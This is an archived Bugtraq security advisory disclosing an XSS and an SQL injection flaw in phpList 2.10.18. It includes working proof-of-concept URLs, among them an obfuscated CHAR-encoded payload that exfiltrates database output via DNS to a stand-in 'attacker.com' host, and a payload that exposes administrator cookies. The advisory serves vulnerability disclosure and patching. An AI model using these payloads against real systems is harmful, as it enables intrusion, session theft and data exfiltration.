[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Multiple Vulnerabilities in phpList
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Multiple Vulnerabilities in phpList
- From: advisory@xxxxxxxxxxxx
- Date: Wed, 8 Aug 2012 12:14:25 +0200 (CEST)
Advisory ID: HTB23100
Product: phpList
Vendor: phpList Ltd
Vulnerable Version(s): 2.10.18 and probably prior
Tested Version: 2.10.18
Vendor Notification: July 11, 2012
Public Disclosure: August 8, 2012
Vulnerability Type: Cross-Site Scripting [CWE-79], SQL Injection [CWE-89]
CVE References: CVE-2012-3952, CVE-2012-3953
CVSSv2 Base Scores: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1
(AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Risk Level: Medium
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities
in phpList, which can be exploited to perform Cross-Site Scripting (XSS) and
SQL Injection attacks against the vulnerable application.
1) Cross-Site Scripting (XSS) in phpList: CVE-2012-3952
Input passed via the "unconfirmed" GET parameter to /admin/index.php (when
"page" is set to "user") is not properly sanitised before being returned to the
user.
This can be exploited to execute arbitrary HTML and script code in
administrator's browser session in context of affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://[host]/admin/?page=user&find=1&unconfirmed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
2) SQL Injection in phpList: CVE-2012-3953
Input passed via the "delete" GET parameter to /admin/index.php (when "page" is
set to "editattributes") is not properly sanitised before being used in SQL
query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL
code. However successful exploitation of this vulnerability requires
administrator's privileges.
The following PoC demonstrates vulnerability exploitation under administrator's
account:
http://[host]/admin/?page=editattributes&id=1&delete=1 union select version() --
Alternative exploitation of the SQL injection can be performed via XSRF vector
and does not require administrative privileges. The PoC code below is based on
DNS Exfiltration technique and may be used if the database of the vulnerable
application is hosted on a Windows system. The PoC will send a DNS request
demanding IP addess for `version()` (or any other sensetive output from the
database) subdomain of ".attacker.com" (a domain name, DNS server of which is
controlled by the attacker):
http://[host]/admin/?page=editattributes&id=1&delete=1 union select
load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))
--
Second alternative is to exploit this SQL injection vulnerability also via XSRF
vector, but to perform XSS attack against logged-in administrator. The
following PoC code will simply display administrator cookies:
http://[host]/admin/?page=editattributes&id=1&delete=1 union select
char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62)
--
-----------------------------------------------------------------------------------------------
Solution:
Upgrade to phpList 2.10.19
More Information:
http://www.phplist.com/?lid=579
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23100 -
https://www.htbridge.com/advisory/HTB23100 - Cross-Site Scripting (XSS) in
phpList.
[2] phpList - http://www.phplist.com - phpList is the world's most popular open
source email campaign manager.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ -
international in scope and free for public use, CVE® is a dictionary of
publicly known information security vulnerabilities and exposures.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.